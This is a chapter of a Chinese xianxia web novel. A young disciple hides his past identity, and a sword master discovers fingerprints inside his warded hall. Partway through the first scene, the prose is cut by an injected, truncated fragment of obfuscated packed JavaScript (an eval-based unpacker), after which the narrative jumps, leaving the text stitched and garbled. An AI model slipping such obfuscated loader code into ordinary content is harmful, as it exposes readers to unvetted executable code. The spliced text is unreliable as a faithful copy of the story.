云诏一整天都有些心神不宁,凑巧他看见窗外练剑到一半,正在休息的常双月,没多想,随手抓一把瓜子,径直走了过去。 “常师兄,练完剑啦?” 常双月擦拭着自己的竹剑,抬头:“有事?” 云诏一脸神神秘秘:“我也是听说的,我现在住着的小院里,之前是不是住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云诏胆大包天道:“我还以为剑尊没了这么个徒弟,整日伤心劳神,哭伤了这双眼呢。” 常双月无语望他:“你想象力很丰富。” 云诏把话题纠正回来:“那剑尊找到了大魔头的魂魄没有?” “那当然啊,剑尊怎么可能失手,肯定把大魔头的神魂搅得拼都拼不起来,真是痛快,为防万一,剑尊还一直在打听,不过这么多年也没听说那个大魔头在哪里转世诞生,应该是彻底魂飞魄散了吧。” 云诏垂眸,安静地磕着瓜子,没再出声了。 看得出来,仅是死掉而已,还不足以泄剑尊心头之恨。 第一,绝对不能暴露身份。 第二,必须减少与赫寒声相处的时间。 第三,一定要找个机会,彻底断绝与玄天宗的关系。 - 雁回峰。 雁回峰峰顶有一处灵泉,名曰冷池,泉水冰冷刺骨,灵气充盈,在冷池里面泡上一个时辰就有洗筋伐髓之效,但这泉水稍一触碰几乎就要把人全身血液冻结,放眼整个玄天宗,也无几人敢进去泡上一时半刻。 赫寒声,是少数几个能在冷池之内自如吐息修炼的狠人。 他从无量山回来后,径直来了此处。 这冷池约莫半亩见方,静静卧在峰顶最凹处,周遭冷松围绕,偶有松针飘落,落在赫寒声发间,万物屏息凝神,静守山间。 待赫寒声吐息完毕,他缓缓睁开眼,凝结在眉睫间的霜花寂然飘落。 他看着状态好了一些,此处充盈的灵力对他修补神识有些作用,赫寒声自池内走出,整个人身周散发着森然冷气,空气中的水汽乍一触碰到他的轮廓,顿时化为水珠。 赫寒声不甚在意,整理好衣冠,毫无留恋地离开,返回寒英峰,他没回霜庭,反而先去了昏月殿。 昏月殿被他设置了多重禁制,若有人擅闯,禁制会被触发,运气好一些的,捡一条命回来,运气不好的,直接便会东一块西一块的。 而且,禁制在被触发的第一时间,他便会有感知,不论他身在何处,他都能第一时间赶回来。 赫寒声一如往常,在检查禁制并加固之后,迈入殿内。 但…… 赫寒声一瞬间就注意到了桌案上的白玉笔架。 ——白玉笔架内侧印着两枚小小的,新鲜的指印。 昏月殿外面设置的禁制残忍狠厉,怎么可能会有其他人闯入呢? 当年他在阵眼上滴了两滴精血令禁制认主。一滴是他自己的,另外一滴是云诏的。 能不受禁制阻挡而进入昏月殿的,除了自己…… 赫寒声静步走去,双手捧起那个笔架,轻轻嗅闻了一下。 幽蓝的烛光将他影子拉得极长,寒玉床缓缓渗出的冷气加重了他身周的潮湿,赫寒声一张面孔完全隐匿在阴影中——平静得过分。